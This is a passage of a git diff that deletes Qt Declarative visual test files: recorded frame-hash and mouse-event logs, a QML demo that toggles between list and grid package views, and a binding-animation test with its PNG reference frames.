"dd6caf22c0cacf5c34686785072da5f7" - } - Frame { - msec: 8688 - hash: "dd6caf22c0cacf5c34686785072da5f7" - } - Frame { - msec: 8704 - hash: "dd6caf22c0cacf5c34686785072da5f7" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 46; y: 147 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8720 - hash: "dd6caf22c0cacf5c34686785072da5f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 46; y: 146 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8736 - hash: "dd6caf22c0cacf5c34686785072da5f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 46; y: 145 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 46; y: 143 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8752 - hash: "dd6caf22c0cacf5c34686785072da5f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 46; y: 141 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8768 - hash: "dd6caf22c0cacf5c34686785072da5f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 46; y: 138 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 46; y: 134 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 46; y: 129 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8784 - hash: "7b1354e70befc84c343145987c81562f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 45; y: 122 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8800 - hash: "6107f00c6472d877b5c109dd58d73145" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 45; y: 115 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 45; y: 115 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8816 - hash: "47288701643899e26b53d28595d59b29" - } - Frame { - msec: 8832 - hash: "a3b4b613d19c8f21ec1b75c1c660ed1d" - } - Frame { - msec: 8848 - hash: "7a5d9fe471eb673f68b77d97f9108bac" - } - Frame { - msec: 8864 - hash: "20a09795ffcf05276d7a5be24b33e207" - } - Frame { - msec: 8880 - hash: "225e529ac77f225fc8b84ed71cdcd70f" - } - Frame { - msec: 8896 - hash: "e4188406a3d3d1f1b83547d362a187f8" - } - Frame { - msec: 8912 - hash: "82707040aad297885ba1c8c6672dc017" - } - Frame { - msec: 8928 - hash: "a369118e98e2bd67dc4242c5e8c86cb8" - } - Frame { - msec: 8944 - hash: "001ef50f7d2b7db7e0db8d2190137d0c" - } - Frame { - msec: 8960 - hash: "2db473b2bd9fd602ed0298501752dae9" - } - Frame { - msec: 8976 - hash: "f9cdbb4e515abf23721627e3f2748960" - } - Frame { - msec: 8992 - hash: "cbc072c5b117ce156a4d6661ae488a77" - } - Frame { - msec: 9008 - hash: "79acb38cec803e6ebeb570dc4d7bbb30" - } - Frame { - msec: 9024 - hash: "848014437545fc8d2e454a774586a8ca" - } - Frame { - msec: 9040 - hash: "0836f3a48355f6384c6b3f452df1e7d6" - } - Frame { - msec: 9056 - hash: "b3da223cdf138e915fcb424cf9181d6b" - } - Frame { - msec: 9072 - hash: "1a7cf7e7ddaac64eeff0d23997580b8c" - } - Frame { - msec: 9088 - hash: "cfbd055b2f905db503250b49120948db" - } - Frame { - msec: 9104 - hash: "c5b8a4ce51ec806f0ce654a8977fb17d" - } - Frame { - msec: 9120 - hash: "d09ba0ea9e7fed2f50d6463ac74da470" - } - Frame { - msec: 9136 - hash: "47ec5bab098fd88ef5be3703c316717a" - } - Frame { - msec: 9152 - hash: "3ea8c442ed43bd3a2aebc9cc2aacfc01" - } - Frame { - msec: 9168 - hash: "f016f14b0b21781924ac2afe146b1b97" - } - Frame { - msec: 9184 - hash: "7b7b6954cce0ca202585310520bbb3e3" - } - Frame { - msec: 9200 - hash: "b0de94ee3b0ce4845101606d2d512426" - } - Frame { - msec: 9216 - hash: "8dc56bcb2313bd8dd9ef0cbc098b80e5" - } - Frame { - msec: 9232 - hash: "a1692b26fb73ade5a05e03de3f4a8dbe" - } - Frame { - msec: 9248 - hash: "672dd46e629475d823b182104f15aa24" - } - Frame { - msec: 9264 - hash: "2859e53d63c20af7891efc99d5e515b5" - } - Frame { - msec: 9280 - hash: "b44b1c4eaa33fbd09c8e59c1bf2a8f2a" - } - Frame { - msec: 9296 - hash: "d520fa81032ca25ec2cb6c358488049d" - } - Frame { - msec: 9312 - hash: "3676c00bd5c3e9af8c4092afd80f58c2" - } - Frame { - msec: 9328 - hash: "6be4d4c35aba5a8d32a28dd88f32acd1" - } - Frame { - msec: 9344 - hash: "375473d4d838ef937c3164e7451d9391" - } - Frame { - msec: 9360 - hash: "610253e766974af4958c3623547deebd" - } - Frame { - msec: 9376 - hash: "20b79be381a95930c924240815cc63f4" - } - Frame { - msec: 9392 - hash: "88130d7132f472ff8495d640adf290cc" - } - Frame { - msec: 9408 - hash: "2e81f4c9a0221708146adcb508eb2d30" - } - Frame { - msec: 9424 - hash: "977f52ed922ba5db66440f115f7484a2" - } - Frame { - msec: 9440 - hash: "706f99c32d00be14ae67b4866fee0cd9" - } - Frame { - msec: 9456 - hash: "210231604091497b510c4a1d42295574" - } - Frame { - msec: 9472 - hash: "210231604091497b510c4a1d42295574" - } - Frame { - msec: 9488 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9504 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9520 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9536 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9552 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9568 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9584 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9600 - image: "packageviews.9.png" - } - Frame { - msec: 9616 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9632 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9648 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9664 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9680 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9696 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9712 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9728 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9744 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9760 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9776 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9792 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9808 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9824 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9840 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9856 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9872 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9888 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9904 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9920 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9936 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9952 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9968 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 9984 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10000 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10016 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10032 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10048 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10064 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10080 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10096 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10112 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10128 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10144 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10160 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10176 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 48; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10192 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10208 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10224 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10240 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10256 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 48; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 10272 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 10288 - hash: "c54f97c72088b6319efba3c79bbef0fa" - } - Frame { - msec: 10304 - hash: "3627adf820bc44f99cca852096f337a0" - } - Frame { - msec: 10320 - hash: "48c0f775534ff9bbe9227e60ad9a3622" - } - Frame { - msec: 10336 - hash: "da5c6fd80ee0dc20e81031c84ede20cf" - } - Frame { - msec: 10352 - hash: "ce7595da55b274259771eb99a42df454" - } - Frame { - msec: 10368 - hash: "c2dd2aa17b9508477699fefe55bfbd06" - } - Frame { - msec: 10384 - hash: "4ee897ddfec1081eef8bc5d799774f82" - } - Frame { - msec: 10400 - hash: "f4da67964a175acf4cde4a24b054c24c" - } - Frame { - msec: 10416 - hash: "e3da951dad465f1a69d8d7c08e888f02" - } - Frame { - msec: 10432 - hash: "ff862073eada170a07d209048367b823" - } - Frame { - msec: 10448 - hash: "cb61d5a89c1acc2b646f3c07214bea4a" - } - Frame { - msec: 10464 - hash: "15d842ac551c15a136c7598adf2fe2b1" - } - Frame { - msec: 10480 - hash: "04b9e85f7418bbc402e51e0ce8149180" - } - Frame { - msec: 10496 - hash: "455dff37edfac66f5e4ae78e10b93cf9" - } - Frame { - msec: 10512 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10528 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10544 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10560 - image: "packageviews.10.png" - } - Frame { - msec: 10576 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10592 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10608 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10624 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10640 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10656 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10672 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10688 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10704 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10720 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10736 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10752 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10768 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10784 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10800 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10816 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10832 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10848 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10864 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10880 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10896 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10912 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10928 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10944 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10960 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10976 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 10992 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11008 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11024 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11040 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11056 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11072 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11088 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11104 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11120 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11136 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11152 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11168 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11184 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11200 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11216 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11232 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11248 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11264 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11280 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11296 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11312 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11328 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11344 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11360 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11376 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11392 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11408 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11424 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11440 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11456 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11472 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11488 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11504 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 47; y: 141 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 11520 - image: "packageviews.11.png" - } - Frame { - msec: 11536 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11552 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11568 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 47; y: 141 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 11584 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11600 - hash: "259e9da7c3b8738db1762128f2c8d4b0" - } - Frame { - msec: 11616 - hash: "cf515f316c197a307a7fb8373df3b107" - } - Frame { - msec: 11632 - hash: "927379ba611284d5c98a3eb5aca04f7c" - } - Frame { - msec: 11648 - hash: "387ad2042589de0a19cb13aa0cac8872" - } - Frame { - msec: 11664 - hash: "6536ad87d1f04b13c28c43ae0fed984f" - } - Frame { - msec: 11680 - hash: "38d77d6610739614e95c70f32736f238" - } - Frame { - msec: 11696 - hash: "9a6c3a95b61d3b9b787417600123b6d8" - } - Frame { - msec: 11712 - hash: "782d907d7d170108beb030c93d9a4d94" - } - Frame { - msec: 11728 - hash: "646ee08d1ffe676ca0363f70e14c2ed6" - } - Frame { - msec: 11744 - hash: "830730ed9990c8f96fa5c7e6b4228884" - } - Frame { - msec: 11760 - hash: "2e678862f358814278d38950c7c5765b" - } - Frame { - msec: 11776 - hash: "c656eb6ace9caf86d417d79452c4ea34" - } - Frame { - msec: 11792 - hash: "227a9bb3644c26622ef654ba2c61ddad" - } - Frame { - msec: 11808 - hash: "bc8188bf8be749bfb28fc64bb5773922" - } - Frame { - msec: 11824 - hash: "f1e90cfd466bdc26ba98632fe1e5360c" - } - Frame { - msec: 11840 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 11856 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 11872 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 11888 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 11904 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 11920 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 11936 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 11952 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 11968 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 11984 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12000 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12016 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12032 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12048 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12064 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12080 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12096 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12112 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12128 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12144 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12160 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12176 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12192 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12208 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12224 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12240 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12256 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12272 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12288 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12304 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12320 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12336 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12352 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12368 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12384 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12400 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12416 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12432 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12448 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12464 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12480 - image: "packageviews.12.png" - } - Frame { - msec: 12496 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12512 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12528 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12544 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12560 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12576 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12592 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12608 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12624 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12640 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12656 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12672 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12688 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12704 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12720 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12736 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12752 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12768 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12784 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12800 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12816 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12832 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12848 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12864 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12880 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12896 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12912 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12928 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12944 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12960 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12976 - hash: "81795ee4213ac62e073d811aaf6b580c" - } - Frame { - msec: 12992 - hash: "81795ee4213ac62e073d811aaf6b580c" - } -} diff --git a/tests/auto/declarative/visual/Package_Views/packageviews.qml b/tests/auto/declarative/visual/Package_Views/packageviews.qml deleted file mode 100644 index f6c033f..0000000 --- a/tests/auto/declarative/visual/Package_Views/packageviews.qml +++ /dev/null @@ -1,89 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: root - width: 200 - height: 200 - color: "black" - - VisualDataModel { - id: model - model: ListModel { - ListElement { itemColor: "red" } - ListElement { itemColor: "green" } - ListElement { itemColor: "blue" } - ListElement { itemColor: "orange" } - ListElement { itemColor: "purple" } - ListElement { itemColor: "yellow" } - ListElement { itemColor: "slategrey" } - ListElement { itemColor: "cyan" } - ListElement { itemColor: "red" } - ListElement { itemColor: "green" } - ListElement { itemColor: "blue" } - ListElement { itemColor: "orange" } - ListElement { itemColor: "purple" } - ListElement { itemColor: "yellow" } - ListElement { itemColor: "slategrey" } - ListElement { itemColor: "cyan" } - } - delegate: Package { - Rectangle { - id: listItem; Package.name: "list"; width:root.width/2; height: 50; color: "transparent"; border.color: "white" - MouseArea { - anchors.fill: parent - onClicked: myState.state = myState.state == "list" ? "grid" : "list" - } - } - Rectangle { - id: gridItem; Package.name: "grid"; width:50; height: 50; color: "transparent"; border.color: "white" - MouseArea { - anchors.fill: parent - onClicked: myState.state = myState.state == "list" ? "grid" : "list" - } - } - Rectangle { id: myContent; width:50; height: 50; color: itemColor } - - StateGroup { - id: myState - state: "list" - states: [ - State { - name: "list" - ParentChange { target: myContent; parent: listItem } - PropertyChanges { target: myContent; x: 0; y: 0; width: listItem.width } - }, - State { - name: "grid" - ParentChange { target: myContent; parent: gridItem } - PropertyChanges { target: myContent; x: 0; y: 0; width: gridItem.width } - } - ] - - transitions: [ - Transition { - from: "*"; to: "*" - SequentialAnimation { - ParentAction{} - NumberAnimation { properties: "x,y,width"; easing.type: "InOutQuad" } - } - } - ] - } - } - } - - ListView { - width: parent.width/2 - height: parent.height - model: model.parts.list - } - - GridView { - x: parent.width/2 - width: parent.width/2 - cellWidth: 50 - cellHeight: 50 - height: parent.height - model: model.parts.grid - } -} diff --git a/tests/auto/declarative/visual/animation/bindinganimation/bindinganimation.qml b/tests/auto/declarative/visual/animation/bindinganimation/bindinganimation.qml deleted file mode 100644 index 70c14cf..0000000 --- a/tests/auto/declarative/visual/animation/bindinganimation/bindinganimation.qml +++ /dev/null @@ -1,40 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "blue" - width: 320 - height: 240 - id: page - Rectangle { - id: myRectangle - width: 100 - height: 100 - color: "red" - x: 10 - } - states: [ - State { - name: "hello" - PropertyChanges { - target: myRectangle - x: 50 + 50 - } - PropertyChanges { - target: myMouseArea - onClicked: page.state = '' - } - } - ] - transitions: [ - Transition { - NumberAnimation { - properties: "x" - } - } - ] - MouseArea { - id: myMouseArea - anchors.fill: parent - onClicked: { page.state= 'hello' } - } -} diff --git a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.0.png b/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.0.png deleted file mode 100644 index 1b08c81..0000000 Binary files a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.1.png b/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.1.png deleted file mode 100644 index f3074fc..0000000 Binary files a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.2.png b/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.2.png deleted file mode 100644 index 1b08c81..0000000 Binary files a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.3.png b/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.3.png deleted file mode 100644 index e2560e0..0000000 Binary files a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.4.png b/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.4.png deleted file mode 100644 index 2ddde86..0000000 Binary files a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.5.png b/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.5.png deleted file mode 100644 index f3074fc..0000000 Binary files a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.6.png b/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.6.png deleted file mode 100644 index 1b08c81..0000000 Binary files a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.qml b/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.qml deleted file mode 100644 index 8297c5a..0000000 --- a/tests/auto/declarative/visual/animation/bindinganimation/data/bindinganimation.qml +++ /dev/null @@ -1,1655 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 32 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 48 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 64 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 80 - hash: "7cb5fc371040e587de9f06ce14a4b29a" - } - Frame { - msec: 96 - hash: 